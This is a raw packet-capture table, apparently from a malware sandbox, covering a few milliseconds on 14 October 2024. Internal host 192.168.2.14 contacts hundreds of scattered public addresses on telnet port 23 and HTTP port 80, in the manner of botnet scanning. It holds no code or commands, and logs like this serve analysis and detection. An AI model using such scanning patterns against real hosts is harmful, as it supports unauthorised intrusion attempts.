Oct 14, 2024 17:30:06.884607077 CEST	23	12058	88.39.93.247	192.168.2.14
Oct 14, 2024 17:30:06.884613991 CEST	23	12058	4.108.171.222	192.168.2.14
Oct 14, 2024 17:30:06.884618998 CEST	23	12058	192.17.132.242	192.168.2.14
Oct 14, 2024 17:30:06.884620905 CEST	12058	23	192.168.2.14	120.12.113.172
Oct 14, 2024 17:30:06.884624958 CEST	23	12058	203.54.30.179	192.168.2.14
Oct 14, 2024 17:30:06.884624958 CEST	12058	23	192.168.2.14	89.218.183.12
Oct 14, 2024 17:30:06.884637117 CEST	23	12058	201.119.197.206	192.168.2.14
Oct 14, 2024 17:30:06.884638071 CEST	12058	23	192.168.2.14	131.99.188.92
Oct 14, 2024 17:30:06.884654045 CEST	12058	23	192.168.2.14	192.17.132.242
Oct 14, 2024 17:30:06.884654999 CEST	12058	23	192.168.2.14	88.39.93.247
Oct 14, 2024 17:30:06.884654999 CEST	12058	23	192.168.2.14	4.108.171.222
Oct 14, 2024 17:30:06.884675980 CEST	12058	23	192.168.2.14	201.119.197.206
Oct 14, 2024 17:30:06.884685993 CEST	12058	23	192.168.2.14	203.54.30.179
Oct 14, 2024 17:30:06.884685993 CEST	53274	80	192.168.2.14	208.116.216.121
Oct 14, 2024 17:30:06.884697914 CEST	53274	80	192.168.2.14	111.13.113.211
Oct 14, 2024 17:30:06.884697914 CEST	53274	80	192.168.2.14	17.91.109.192
Oct 14, 2024 17:30:06.884697914 CEST	53274	80	192.168.2.14	76.165.150.213
Oct 14, 2024 17:30:06.884711981 CEST	53274	80	192.168.2.14	23.5.13.182
Oct 14, 2024 17:30:06.884727955 CEST	23	12058	118.24.114.173	192.168.2.14
Oct 14, 2024 17:30:06.884733915 CEST	23	12058	75.182.21.175	192.168.2.14
Oct 14, 2024 17:30:06.884735107 CEST	53274	80	192.168.2.14	213.37.164.88
Oct 14, 2024 17:30:06.884737015 CEST	53274	80	192.168.2.14	218.0.225.6
Oct 14, 2024 17:30:06.884737015 CEST	53274	80	192.168.2.14	169.8.147.11
Oct 14, 2024 17:30:06.884741068 CEST	23	12058	120.215.248.164	192.168.2.14
Oct 14, 2024 17:30:06.884747028 CEST	53274	80	192.168.2.14	87.227.127.221
Oct 14, 2024 17:30:06.884761095 CEST	53274	80	192.168.2.14	146.40.242.239
Oct 14, 2024 17:30:06.884768963 CEST	12058	23	192.168.2.14	75.182.21.175
Oct 14, 2024 17:30:06.884768963 CEST	53274	80	192.168.2.14	154.249.37.141
Oct 14, 2024 17:30:06.884773016 CEST	12058	23	192.168.2.14	118.24.114.173
Oct 14, 2024 17:30:06.884773016 CEST	12058	23	192.168.2.14	120.215.248.164
Oct 14, 2024 17:30:06.884778023 CEST	23	12058	19.195.246.127	192.168.2.14
Oct 14, 2024 17:30:06.884779930 CEST	53274	80	192.168.2.14	92.22.44.9
Oct 14, 2024 17:30:06.884785891 CEST	23	12058	163.69.236.209	192.168.2.14
Oct 14, 2024 17:30:06.884788990 CEST	53274	80	192.168.2.14	66.182.114.215
Oct 14, 2024 17:30:06.884788990 CEST	53274	80	192.168.2.14	36.34.253.61
Oct 14, 2024 17:30:06.884789944 CEST	53274	80	192.168.2.14	125.186.111.247
Oct 14, 2024 17:30:06.884792089 CEST	23	12058	61.181.58.114	192.168.2.14
Oct 14, 2024 17:30:06.884793043 CEST	53274	80	192.168.2.14	89.60.82.108
Oct 14, 2024 17:30:06.884797096 CEST	23	12058	104.135.57.160	192.168.2.14
Oct 14, 2024 17:30:06.884803057 CEST	23	12058	148.157.29.34	192.168.2.14
Oct 14, 2024 17:30:06.884808064 CEST	23	12058	162.86.243.159	192.168.2.14
Oct 14, 2024 17:30:06.884814024 CEST	23	12058	144.87.68.60	192.168.2.14
Oct 14, 2024 17:30:06.884816885 CEST	12058	23	192.168.2.14	19.195.246.127
Oct 14, 2024 17:30:06.884821892 CEST	23	12058	138.223.238.38	192.168.2.14
Oct 14, 2024 17:30:06.884828091 CEST	23	12058	65.144.118.22	192.168.2.14
Oct 14, 2024 17:30:06.884829044 CEST	12058	23	192.168.2.14	163.69.236.209
Oct 14, 2024 17:30:06.884835958 CEST	23	12058	144.13.225.134	192.168.2.14
Oct 14, 2024 17:30:06.884838104 CEST	12058	23	192.168.2.14	104.135.57.160
Oct 14, 2024 17:30:06.884838104 CEST	12058	23	192.168.2.14	148.157.29.34
Oct 14, 2024 17:30:06.884844065 CEST	12058	23	192.168.2.14	162.86.243.159
Oct 14, 2024 17:30:06.884845972 CEST	23	12058	200.67.241.8	192.168.2.14
Oct 14, 2024 17:30:06.884848118 CEST	23	12058	154.127.1.238	192.168.2.14
Oct 14, 2024 17:30:06.884850025 CEST	53274	80	192.168.2.14	154.179.250.131
Oct 14, 2024 17:30:06.884850979 CEST	23	12058	92.169.37.128	192.168.2.14
Oct 14, 2024 17:30:06.884855986 CEST	12058	23	192.168.2.14	144.87.68.60
Oct 14, 2024 17:30:06.884855986 CEST	53274	80	192.168.2.14	124.155.164.7
Oct 14, 2024 17:30:06.884855986 CEST	23	12058	195.85.3.0	192.168.2.14
Oct 14, 2024 17:30:06.884857893 CEST	53274	80	192.168.2.14	162.6.37.144
Oct 14, 2024 17:30:06.884861946 CEST	23	12058	116.86.132.175	192.168.2.14
Oct 14, 2024 17:30:06.884862900 CEST	12058	23	192.168.2.14	138.223.238.38
Oct 14, 2024 17:30:06.884866953 CEST	23	12058	92.20.61.247	192.168.2.14
Oct 14, 2024 17:30:06.884872913 CEST	23	12058	95.136.243.25	192.168.2.14
Oct 14, 2024 17:30:06.884885073 CEST	23	12058	140.67.0.181	192.168.2.14
Oct 14, 2024 17:30:06.884891033 CEST	12058	23	192.168.2.14	65.144.118.22
Oct 14, 2024 17:30:06.884891033 CEST	12058	23	192.168.2.14	61.181.58.114
Oct 14, 2024 17:30:06.884891033 CEST	23	12058	67.28.72.169	192.168.2.14
Oct 14, 2024 17:30:06.884892941 CEST	53274	80	192.168.2.14	113.208.180.148
Oct 14, 2024 17:30:06.884892941 CEST	53274	80	192.168.2.14	41.149.43.108
Oct 14, 2024 17:30:06.884893894 CEST	53274	80	192.168.2.14	85.215.44.66
Oct 14, 2024 17:30:06.884901047 CEST	12058	23	192.168.2.14	144.13.225.134
Oct 14, 2024 17:30:06.884903908 CEST	12058	23	192.168.2.14	200.67.241.8
Oct 14, 2024 17:30:06.884906054 CEST	23	12058	133.90.83.51	192.168.2.14
Oct 14, 2024 17:30:06.884907007 CEST	12058	23	192.168.2.14	195.85.3.0
Oct 14, 2024 17:30:06.884907961 CEST	12058	23	192.168.2.14	92.169.37.128
Oct 14, 2024 17:30:06.884910107 CEST	53274	80	192.168.2.14	48.130.35.175
Oct 14, 2024 17:30:06.884911060 CEST	12058	23	192.168.2.14	154.127.1.238
Oct 14, 2024 17:30:06.884911060 CEST	12058	23	192.168.2.14	116.86.132.175
Oct 14, 2024 17:30:06.884911060 CEST	12058	23	192.168.2.14	95.136.243.25
Oct 14, 2024 17:30:06.884912014 CEST	23	12058	106.234.11.119	192.168.2.14
Oct 14, 2024 17:30:06.884917021 CEST	12058	23	192.168.2.14	92.20.61.247
Oct 14, 2024 17:30:06.884922028 CEST	23	12058	174.47.108.237	192.168.2.14
Oct 14, 2024 17:30:06.884927988 CEST	23	12058	43.94.20.3	192.168.2.14
Oct 14, 2024 17:30:06.884932995 CEST	23	12058	92.218.213.247	192.168.2.14
Oct 14, 2024 17:30:06.884938955 CEST	23	12058	51.145.55.88	192.168.2.14
Oct 14, 2024 17:30:06.884939909 CEST	12058	23	192.168.2.14	67.28.72.169
Oct 14, 2024 17:30:06.884943008 CEST	12058	23	192.168.2.14	140.67.0.181
Oct 14, 2024 17:30:06.884959936 CEST	12058	23	192.168.2.14	133.90.83.51
Oct 14, 2024 17:30:06.884960890 CEST	12058	23	192.168.2.14	174.47.108.237
Oct 14, 2024 17:30:06.884963989 CEST	12058	23	192.168.2.14	106.234.11.119
Oct 14, 2024 17:30:06.884963989 CEST	12058	23	192.168.2.14	51.145.55.88
Oct 14, 2024 17:30:06.884964943 CEST	12058	23	192.168.2.14	43.94.20.3
Oct 14, 2024 17:30:06.884965897 CEST	12058	23	192.168.2.14	92.218.213.247
Oct 14, 2024 17:30:06.884979010 CEST	23	12058	200.169.94.47	192.168.2.14
Oct 14, 2024 17:30:06.884985924 CEST	23	12058	130.205.78.119	192.168.2.14
Oct 14, 2024 17:30:06.884999037 CEST	23	12058	83.8.152.143	192.168.2.14
Oct 14, 2024 17:30:06.885018110 CEST	23	12058	61.157.113.145	192.168.2.14
Oct 14, 2024 17:30:06.885024071 CEST	23	12058	45.147.152.16	192.168.2.14
Oct 14, 2024 17:30:06.885030985 CEST	23	12058	119.202.226.184	192.168.2.14
Oct 14, 2024 17:30:06.885035038 CEST	12058	23	192.168.2.14	130.205.78.119
Oct 14, 2024 17:30:06.885036945 CEST	23	12058	223.134.192.62	192.168.2.14
Oct 14, 2024 17:30:06.885051966 CEST	23	12058	77.176.53.5	192.168.2.14
Oct 14, 2024 17:30:06.885051966 CEST	12058	23	192.168.2.14	83.8.152.143
Oct 14, 2024 17:30:06.885056973 CEST	23	12058	36.85.238.136	192.168.2.14
Oct 14, 2024 17:30:06.885062933 CEST	23	12058	166.235.22.33	192.168.2.14
Oct 14, 2024 17:30:06.885068893 CEST	23	12058	221.140.235.127	192.168.2.14
Oct 14, 2024 17:30:06.885070086 CEST	12058	23	192.168.2.14	45.147.152.16
Oct 14, 2024 17:30:06.885077953 CEST	12058	23	192.168.2.14	223.134.192.62
Oct 14, 2024 17:30:06.885085106 CEST	23	12058	52.181.142.158	192.168.2.14
Oct 14, 2024 17:30:06.885085106 CEST	12058	23	192.168.2.14	119.202.226.184
Oct 14, 2024 17:30:06.885087013 CEST	12058	23	192.168.2.14	200.169.94.47
Oct 14, 2024 17:30:06.885087013 CEST	12058	23	192.168.2.14	61.157.113.145
Oct 14, 2024 17:30:06.885087013 CEST	12058	23	192.168.2.14	77.176.53.5
Oct 14, 2024 17:30:06.885091066 CEST	23	12058	63.175.43.186	192.168.2.14
Oct 14, 2024 17:30:06.885092974 CEST	12058	23	192.168.2.14	36.85.238.136
Oct 14, 2024 17:30:06.885097980 CEST	23	12058	126.8.232.12	192.168.2.14
Oct 14, 2024 17:30:06.885101080 CEST	12058	23	192.168.2.14	166.235.22.33
Oct 14, 2024 17:30:06.885101080 CEST	12058	23	192.168.2.14	221.140.235.127
Oct 14, 2024 17:30:06.885103941 CEST	23	12058	202.154.202.95	192.168.2.14
Oct 14, 2024 17:30:06.885109901 CEST	23	12058	54.42.75.80	192.168.2.14
Oct 14, 2024 17:30:06.885122061 CEST	23	12058	13.41.77.229	192.168.2.14
Oct 14, 2024 17:30:06.885128975 CEST	23	12058	78.95.113.31	192.168.2.14
Oct 14, 2024 17:30:06.885128975 CEST	12058	23	192.168.2.14	63.175.43.186
Oct 14, 2024 17:30:06.885133982 CEST	23	12058	42.0.104.102	192.168.2.14
Oct 14, 2024 17:30:06.885138035 CEST	12058	23	192.168.2.14	52.181.142.158
Oct 14, 2024 17:30:06.885138035 CEST	12058	23	192.168.2.14	126.8.232.12
Oct 14, 2024 17:30:06.885139942 CEST	23	12058	181.85.15.198	192.168.2.14
Oct 14, 2024 17:30:06.885149956 CEST	12058	23	192.168.2.14	54.42.75.80
Oct 14, 2024 17:30:06.885154009 CEST	23	12058	54.137.92.147	192.168.2.14
Oct 14, 2024 17:30:06.885159969 CEST	23	12058	194.16.122.160	192.168.2.14
Oct 14, 2024 17:30:06.885168076 CEST	12058	23	192.168.2.14	13.41.77.229
Oct 14, 2024 17:30:06.885171890 CEST	23	12058	207.51.144.201	192.168.2.14
Oct 14, 2024 17:30:06.885173082 CEST	12058	23	192.168.2.14	202.154.202.95
Oct 14, 2024 17:30:06.885178089 CEST	23	12058	64.233.91.229	192.168.2.14
Oct 14, 2024 17:30:06.885186911 CEST	23	12058	40.11.33.56	192.168.2.14
Oct 14, 2024 17:30:06.885186911 CEST	12058	23	192.168.2.14	42.0.104.102
Oct 14, 2024 17:30:06.885186911 CEST	12058	23	192.168.2.14	181.85.15.198
Oct 14, 2024 17:30:06.885193110 CEST	23	12058	59.43.113.243	192.168.2.14
Oct 14, 2024 17:30:06.885198116 CEST	23	12058	36.193.239.42	192.168.2.14
Oct 14, 2024 17:30:06.885202885 CEST	23	12058	216.174.244.17	192.168.2.14
Oct 14, 2024 17:30:06.885204077 CEST	12058	23	192.168.2.14	78.95.113.31
Oct 14, 2024 17:30:06.885210037 CEST	12058	23	192.168.2.14	54.137.92.147
Oct 14, 2024 17:30:06.885219097 CEST	12058	23	192.168.2.14	194.16.122.160
Oct 14, 2024 17:30:06.885225058 CEST	12058	23	192.168.2.14	207.51.144.201
Oct 14, 2024 17:30:06.885238886 CEST	12058	23	192.168.2.14	40.11.33.56
Oct 14, 2024 17:30:06.885241032 CEST	12058	23	192.168.2.14	36.193.239.42
Oct 14, 2024 17:30:06.885241032 CEST	12058	23	192.168.2.14	216.174.244.17
Oct 14, 2024 17:30:06.885243893 CEST	12058	23	192.168.2.14	64.233.91.229
Oct 14, 2024 17:30:06.885248899 CEST	12058	23	192.168.2.14	59.43.113.243
Oct 14, 2024 17:30:06.885334969 CEST	23	12058	1.33.217.8	192.168.2.14
Oct 14, 2024 17:30:06.885341883 CEST	23	12058	77.137.124.57	192.168.2.14
Oct 14, 2024 17:30:06.885354996 CEST	23	12058	48.232.251.244	192.168.2.14
Oct 14, 2024 17:30:06.885360003 CEST	23	12058	123.177.68.136	192.168.2.14
Oct 14, 2024 17:30:06.885371923 CEST	23	12058	156.232.99.223	192.168.2.14
Oct 14, 2024 17:30:06.885384083 CEST	12058	23	192.168.2.14	77.137.124.57
Oct 14, 2024 17:30:06.885384083 CEST	23	12058	174.167.68.11	192.168.2.14
Oct 14, 2024 17:30:06.885389090 CEST	12058	23	192.168.2.14	1.33.217.8
Oct 14, 2024 17:30:06.885390997 CEST	23	12058	164.140.37.178	192.168.2.14
Oct 14, 2024 17:30:06.885396004 CEST	23	12058	196.2.8.158	192.168.2.14
Oct 14, 2024 17:30:06.885406971 CEST	12058	23	192.168.2.14	123.177.68.136
Oct 14, 2024 17:30:06.885409117 CEST	12058	23	192.168.2.14	48.232.251.244
Oct 14, 2024 17:30:06.885416985 CEST	12058	23	192.168.2.14	156.232.99.223
Oct 14, 2024 17:30:06.885417938 CEST	12058	23	192.168.2.14	174.167.68.11
Oct 14, 2024 17:30:06.885418892 CEST	23	12058	48.74.108.217	192.168.2.14
Oct 14, 2024 17:30:06.885426998 CEST	23	12058	124.84.208.103	192.168.2.14
Oct 14, 2024 17:30:06.885431051 CEST	12058	23	192.168.2.14	164.140.37.178
Oct 14, 2024 17:30:06.885432005 CEST	23	12058	91.177.198.103	192.168.2.14
Oct 14, 2024 17:30:06.885437012 CEST	12058	23	192.168.2.14	196.2.8.158
Oct 14, 2024 17:30:06.885437965 CEST	23	12058	153.5.77.182	192.168.2.14
Oct 14, 2024 17:30:06.885443926 CEST	23	12058	126.53.226.82	192.168.2.14
Oct 14, 2024 17:30:06.885457039 CEST	23	12058	70.222.45.6	192.168.2.14
Oct 14, 2024 17:30:06.885462999 CEST	23	12058	176.198.184.218	192.168.2.14
Oct 14, 2024 17:30:06.885462999 CEST	12058	23	192.168.2.14	48.74.108.217
Oct 14, 2024 17:30:06.885473967 CEST	12058	23	192.168.2.14	124.84.208.103
Oct 14, 2024 17:30:06.885474920 CEST	23	12058	20.221.126.87	192.168.2.14
Oct 14, 2024 17:30:06.885473967 CEST	12058	23	192.168.2.14	153.5.77.182
Oct 14, 2024 17:30:06.885479927 CEST	12058	23	192.168.2.14	91.177.198.103
Oct 14, 2024 17:30:06.885484934 CEST	23	12058	169.87.113.240	192.168.2.14
Oct 14, 2024 17:30:06.885498047 CEST	23	12058	151.40.33.239	192.168.2.14
Oct 14, 2024 17:30:06.885504007 CEST	23	12058	77.84.233.194	192.168.2.14
Oct 14, 2024 17:30:06.885507107 CEST	12058	23	192.168.2.14	70.222.45.6
Oct 14, 2024 17:30:06.885509014 CEST	23	12058	93.193.81.65	192.168.2.14
Oct 14, 2024 17:30:06.885514975 CEST	23	12058	61.170.116.141	192.168.2.14
Oct 14, 2024 17:30:06.885523081 CEST	12058	23	192.168.2.14	169.87.113.240
Oct 14, 2024 17:30:06.885526896 CEST	23	12058	209.77.143.59	192.168.2.14
Oct 14, 2024 17:30:06.885533094 CEST	23	12058	161.205.188.79	192.168.2.14
Oct 14, 2024 17:30:06.885535002 CEST	12058	23	192.168.2.14	176.198.184.218
Oct 14, 2024 17:30:06.885536909 CEST	12058	23	192.168.2.14	151.40.33.239
Oct 14, 2024 17:30:06.885539055 CEST	23	12058	166.79.155.11	192.168.2.14
Oct 14, 2024 17:30:06.885540009 CEST	12058	23	192.168.2.14	20.221.126.87
Oct 14, 2024 17:30:06.885540009 CEST	12058	23	192.168.2.14	126.53.226.82
Oct 14, 2024 17:30:06.885540009 CEST	12058	23	192.168.2.14	77.84.233.194
Oct 14, 2024 17:30:06.885545015 CEST	23	12058	18.46.162.85	192.168.2.14
Oct 14, 2024 17:30:06.885552883 CEST	23	12058	208.118.216.57	192.168.2.14
Oct 14, 2024 17:30:06.885557890 CEST	23	12058	98.128.49.182	192.168.2.14
Oct 14, 2024 17:30:06.885569096 CEST	12058	23	192.168.2.14	209.77.143.59
Oct 14, 2024 17:30:06.885570049 CEST	23	12058	171.120.236.236	192.168.2.14
Oct 14, 2024 17:30:06.885572910 CEST	12058	23	192.168.2.14	161.205.188.79
Oct 14, 2024 17:30:06.885572910 CEST	12058	23	192.168.2.14	93.193.81.65
Oct 14, 2024 17:30:06.885574102 CEST	12058	23	192.168.2.14	61.170.116.141
Oct 14, 2024 17:30:06.885581017 CEST	12058	23	192.168.2.14	166.79.155.11
Oct 14, 2024 17:30:06.885598898 CEST	12058	23	192.168.2.14	208.118.216.57
Oct 14, 2024 17:30:06.885598898 CEST	12058	23	192.168.2.14	18.46.162.85
Oct 14, 2024 17:30:06.885601997 CEST	23	12058	174.122.176.47	192.168.2.14
Oct 14, 2024 17:30:06.885618925 CEST	12058	23	192.168.2.14	98.128.49.182
Oct 14, 2024 17:30:06.885627031 CEST	23	12058	109.18.59.83	192.168.2.14
Oct 14, 2024 17:30:06.885632038 CEST	23	12058	164.239.23.158	192.168.2.14
Oct 14, 2024 17:30:06.885633945 CEST	12058	23	192.168.2.14	171.120.236.236
Oct 14, 2024 17:30:06.885646105 CEST	23	12058	77.147.209.94	192.168.2.14
Oct 14, 2024 17:30:06.885668993 CEST	12058	23	192.168.2.14	109.18.59.83
Oct 14, 2024 17:30:06.885674953 CEST	12058	23	192.168.2.14	164.239.23.158
Oct 14, 2024 17:30:06.885680914 CEST	12058	23	192.168.2.14	174.122.176.47
Oct 14, 2024 17:30:06.885694027 CEST	12058	23	192.168.2.14	77.147.209.94
Oct 14, 2024 17:30:06.885704994 CEST	23	12058	88.188.149.27	192.168.2.14
Oct 14, 2024 17:30:06.885710955 CEST	23	12058	5.187.197.203	192.168.2.14
Oct 14, 2024 17:30:06.885724068 CEST	23	12058	129.30.128.6	192.168.2.14
Oct 14, 2024 17:30:06.885730982 CEST	23	12058	187.94.183.36	192.168.2.14
Oct 14, 2024 17:30:06.885735989 CEST	23	12058	161.34.232.185	192.168.2.14
Oct 14, 2024 17:30:06.885741949 CEST	23	12058	185.80.85.67	192.168.2.14
Oct 14, 2024 17:30:06.885754108 CEST	12058	23	192.168.2.14	88.188.149.27
Oct 14, 2024 17:30:06.885757923 CEST	12058	23	192.168.2.14	5.187.197.203
Oct 14, 2024 17:30:06.885760069 CEST	23	12058	169.167.133.73	192.168.2.14
Oct 14, 2024 17:30:06.885766983 CEST	23	12058	193.246.196.131	192.168.2.14
Oct 14, 2024 17:30:06.885772943 CEST	23	12058	222.123.156.251	192.168.2.14
Oct 14, 2024 17:30:06.885773897 CEST	12058	23	192.168.2.14	185.80.85.67
Oct 14, 2024 17:30:06.885778904 CEST	23	12058	66.157.155.125	192.168.2.14
Oct 14, 2024 17:30:06.885791063 CEST	23	12058	183.18.210.94	192.168.2.14
Oct 14, 2024 17:30:06.885797977 CEST	23	12058	87.195.203.166	192.168.2.14
Oct 14, 2024 17:30:06.885802984 CEST	23	12058	19.179.76.155	192.168.2.14
Oct 14, 2024 17:30:06.885802984 CEST	12058	23	192.168.2.14	222.123.156.251
Oct 14, 2024 17:30:06.885802984 CEST	12058	23	192.168.2.14	129.30.128.6
Oct 14, 2024 17:30:06.885803938 CEST	12058	23	192.168.2.14	187.94.183.36
Oct 14, 2024 17:30:06.885802984 CEST	12058	23	192.168.2.14	161.34.232.185
Oct 14, 2024 17:30:06.885807991 CEST	23	12058	212.250.52.128	192.168.2.14
Oct 14, 2024 17:30:06.885813951 CEST	12058	23	192.168.2.14	169.167.133.73
Oct 14, 2024 17:30:06.885813951 CEST	12058	23	192.168.2.14	183.18.210.94
Oct 14, 2024 17:30:06.885814905 CEST	23	12058	179.77.172.78	192.168.2.14
Oct 14, 2024 17:30:06.885821104 CEST	23	12058	192.1.229.96	192.168.2.14
Oct 14, 2024 17:30:06.885824919 CEST	12058	23	192.168.2.14	193.246.196.131
Oct 14, 2024 17:30:06.885826111 CEST	12058	23	192.168.2.14	66.157.155.125
Oct 14, 2024 17:30:06.885827065 CEST	23	12058	19.127.155.148	192.168.2.14
Oct 14, 2024 17:30:06.885840893 CEST	23	12058	81.17.68.151	192.168.2.14
Oct 14, 2024 17:30:06.885845900 CEST	23	12058	145.156.136.61	192.168.2.14
Oct 14, 2024 17:30:06.885855913 CEST	12058	23	192.168.2.14	19.179.76.155
Oct 14, 2024 17:30:06.885859013 CEST	23	12058	167.185.211.110	192.168.2.14
Oct 14, 2024 17:30:06.885864973 CEST	23	12058	60.193.84.229	192.168.2.14
Oct 14, 2024 17:30:06.885870934 CEST	23	12058	163.156.46.207	192.168.2.14
Oct 14, 2024 17:30:06.885874033 CEST	12058	23	192.168.2.14	87.195.203.166
Oct 14, 2024 17:30:06.885875940 CEST	23	12058	122.73.176.173	192.168.2.14
Oct 14, 2024 17:30:06.885876894 CEST	12058	23	192.168.2.14	179.77.172.78
Oct 14, 2024 17:30:06.885876894 CEST	12058	23	192.168.2.14	192.1.229.96
Oct 14, 2024 17:30:06.885881901 CEST	23	12058	51.47.167.130	192.168.2.14
Oct 14, 2024 17:30:06.885885000 CEST	12058	23	192.168.2.14	212.250.52.128
Oct 14, 2024 17:30:06.885885000 CEST	12058	23	192.168.2.14	19.127.155.148
Oct 14, 2024 17:30:06.885893106 CEST	12058	23	192.168.2.14	167.185.211.110
Oct 14, 2024 17:30:06.885894060 CEST	12058	23	192.168.2.14	145.156.136.61
Oct 14, 2024 17:30:06.885895967 CEST	12058	23	192.168.2.14	60.193.84.229
Oct 14, 2024 17:30:06.885905981 CEST	12058	23	192.168.2.14	163.156.46.207
Oct 14, 2024 17:30:06.885905981 CEST	12058	23	192.168.2.14	122.73.176.173
Oct 14, 2024 17:30:06.885957003 CEST	12058	23	192.168.2.14	81.17.68.151
Oct 14, 2024 17:30:06.885957956 CEST	12058	23	192.168.2.14	51.47.167.130
Oct 14, 2024 17:30:06.886003971 CEST	23	12058	137.129.179.85	192.168.2.14
Oct 14, 2024 17:30:06.886009932 CEST	23	12058	182.98.90.66	192.168.2.14
Oct 14, 2024 17:30:06.886023045 CEST	23	12058	51.123.80.254	192.168.2.14
Oct 14, 2024 17:30:06.886028051 CEST	23	12058	52.13.7.50	192.168.2.14
Oct 14, 2024 17:30:06.886040926 CEST	23	12058	87.191.30.187	192.168.2.14
Oct 14, 2024 17:30:06.886046886 CEST	23	12058	78.213.70.90	192.168.2.14
Oct 14, 2024 17:30:06.886049986 CEST	12058	23	192.168.2.14	137.129.179.85
Oct 14, 2024 17:30:06.886054039 CEST	12058	23	192.168.2.14	182.98.90.66
Oct 14, 2024 17:30:06.886059046 CEST	12058	23	192.168.2.14	51.123.80.254
Oct 14, 2024 17:30:06.886065960 CEST	23	12058	183.169.248.81	192.168.2.14
Oct 14, 2024 17:30:06.886071920 CEST	23	12058	189.212.19.143	192.168.2.14
Oct 14, 2024 17:30:06.886074066 CEST	12058	23	192.168.2.14	87.191.30.187
Oct 14, 2024 17:30:06.886074066 CEST	12058	23	192.168.2.14	52.13.7.50
Oct 14, 2024 17:30:06.886077881 CEST	23	12058	36.102.101.132	192.168.2.14
Oct 14, 2024 17:30:06.886084080 CEST	23	12058	62.234.86.234	192.168.2.14
Oct 14, 2024 17:30:06.886086941 CEST	12058	23	192.168.2.14	78.213.70.90
Oct 14, 2024 17:30:06.886090040 CEST	23	12058	167.128.212.63	192.168.2.14
Oct 14, 2024 17:30:06.886096001 CEST	23	12058	203.124.86.29	192.168.2.14
Oct 14, 2024 17:30:06.886101007 CEST	12058	23	192.168.2.14	183.169.248.81
Oct 14, 2024 17:30:06.886101961 CEST	23	12058	82.101.218.152	192.168.2.14
Oct 14, 2024 17:30:06.886106968 CEST	23	12058	49.104.5.84	192.168.2.14
Oct 14, 2024 17:30:06.886107922 CEST	12058	23	192.168.2.14	189.212.19.143
Oct 14, 2024 17:30:06.886110067 CEST	12058	23	192.168.2.14	62.234.86.234
Oct 14, 2024 17:30:06.886110067 CEST	12058	23	192.168.2.14	36.102.101.132
Oct 14, 2024 17:30:06.886111975 CEST	23	12058	46.86.209.130	192.168.2.14
Oct 14, 2024 17:30:06.886117935 CEST	23	12058	130.97.213.99	192.168.2.14
Oct 14, 2024 17:30:06.886123896 CEST	23	12058	122.142.169.87	192.168.2.14
Oct 14, 2024 17:30:06.886128902 CEST	12058	23	192.168.2.14	167.128.212.63
Oct 14, 2024 17:30:06.886130095 CEST	23	12058	118.152.42.236	192.168.2.14
Oct 14, 2024 17:30:06.886135101 CEST	12058	23	192.168.2.14	203.124.86.29
Oct 14, 2024 17:30:06.886136055 CEST	23	12058	170.71.180.199	192.168.2.14
Oct 14, 2024 17:30:06.886142015 CEST	12058	23	192.168.2.14	46.86.209.130
Oct 14, 2024 17:30:06.886149883 CEST	23	12058	201.152.183.176	192.168.2.14
Oct 14, 2024 17:30:06.886156082 CEST	23	12058	121.167.216.145	192.168.2.14
Oct 14, 2024 17:30:06.886157036 CEST	12058	23	192.168.2.14	82.101.218.152
Oct 14, 2024 17:30:06.886157036 CEST	12058	23	192.168.2.14	122.142.169.87
Oct 14, 2024 17:30:06.886158943 CEST	12058	23	192.168.2.14	130.97.213.99
Oct 14, 2024 17:30:06.886159897 CEST	12058	23	192.168.2.14	49.104.5.84
Oct 14, 2024 17:30:06.886161089 CEST	23	12058	122.87.202.167	192.168.2.14
Oct 14, 2024 17:30:06.886167049 CEST	23	12058	190.121.73.156	192.168.2.14
Oct 14, 2024 17:30:06.886173010 CEST	23	12058	119.183.203.85	192.168.2.14
Oct 14, 2024 17:30:06.886177063 CEST	12058	23	192.168.2.14	118.152.42.236
Oct 14, 2024 17:30:06.886178017 CEST	23	12058	49.215.56.82	192.168.2.14
Oct 14, 2024 17:30:06.886183977 CEST	12058	23	192.168.2.14	170.71.180.199
Oct 14, 2024 17:30:06.886183977 CEST	23	12058	34.250.107.131	192.168.2.14
Oct 14, 2024 17:30:06.886183977 CEST	12058	23	192.168.2.14	201.152.183.176
Oct 14, 2024 17:30:06.886193037 CEST	23	12058	88.121.4.53	192.168.2.14
Oct 14, 2024 17:30:06.886193037 CEST	12058	23	192.168.2.14	190.121.73.156
Oct 14, 2024 17:30:06.886194944 CEST	12058	23	192.168.2.14	122.87.202.167
Oct 14, 2024 17:30:06.886197090 CEST	12058	23	192.168.2.14	119.183.203.85
Oct 14, 2024 17:30:06.886198044 CEST	12058	23	192.168.2.14	121.167.216.145
Oct 14, 2024 17:30:06.886198997 CEST	23	12058	202.226.85.225	192.168.2.14
Oct 14, 2024 17:30:06.886202097 CEST	12058	23	192.168.2.14	49.215.56.82
Oct 14, 2024 17:30:06.886230946 CEST	12058	23	192.168.2.14	88.121.4.53
Oct 14, 2024 17:30:06.886230946 CEST	12058	23	192.168.2.14	34.250.107.131
Oct 14, 2024 17:30:06.886265993 CEST	12058	23	192.168.2.14	202.226.85.225
Oct 14, 2024 17:30:06.886388063 CEST	23	12058	68.153.178.15	192.168.2.14
Oct 14, 2024 17:30:06.886394978 CEST	23	12058	8.205.199.254	192.168.2.14
Oct 14, 2024 17:30:06.886408091 CEST	23	12058	178.243.29.141	192.168.2.14
Oct 14, 2024 17:30:06.886413097 CEST	23	12058	34.153.88.88	192.168.2.14
Oct 14, 2024 17:30:06.886425972 CEST	23	12058	133.86.183.8	192.168.2.14
Oct 14, 2024 17:30:06.886431932 CEST	23	12058	193.236.202.111	192.168.2.14
Oct 14, 2024 17:30:06.886436939 CEST	23	12058	162.60.45.144	192.168.2.14
Oct 14, 2024 17:30:06.886441946 CEST	23	12058	205.53.204.24	192.168.2.14
Oct 14, 2024 17:30:06.886447906 CEST	23	12058	70.26.170.232	192.168.2.14
Oct 14, 2024 17:30:06.886452913 CEST	23	12058	195.166.77.114	192.168.2.14
Oct 14, 2024 17:30:06.886456966 CEST	12058	23	192.168.2.14	68.153.178.15
Oct 14, 2024 17:30:06.886456966 CEST	12058	23	192.168.2.14	8.205.199.254
Oct 14, 2024 17:30:06.886459112 CEST	23	12058	122.206.155.210	192.168.2.14
Oct 14, 2024 17:30:06.886460066 CEST	12058	23	192.168.2.14	193.236.202.111
Oct 14, 2024 17:30:06.886461973 CEST	12058	23	192.168.2.14	178.243.29.141
Oct 14, 2024 17:30:06.886466026 CEST	12058	23	192.168.2.14	34.153.88.88
Oct 14, 2024 17:30:06.886466026 CEST	12058	23	192.168.2.14	133.86.183.8
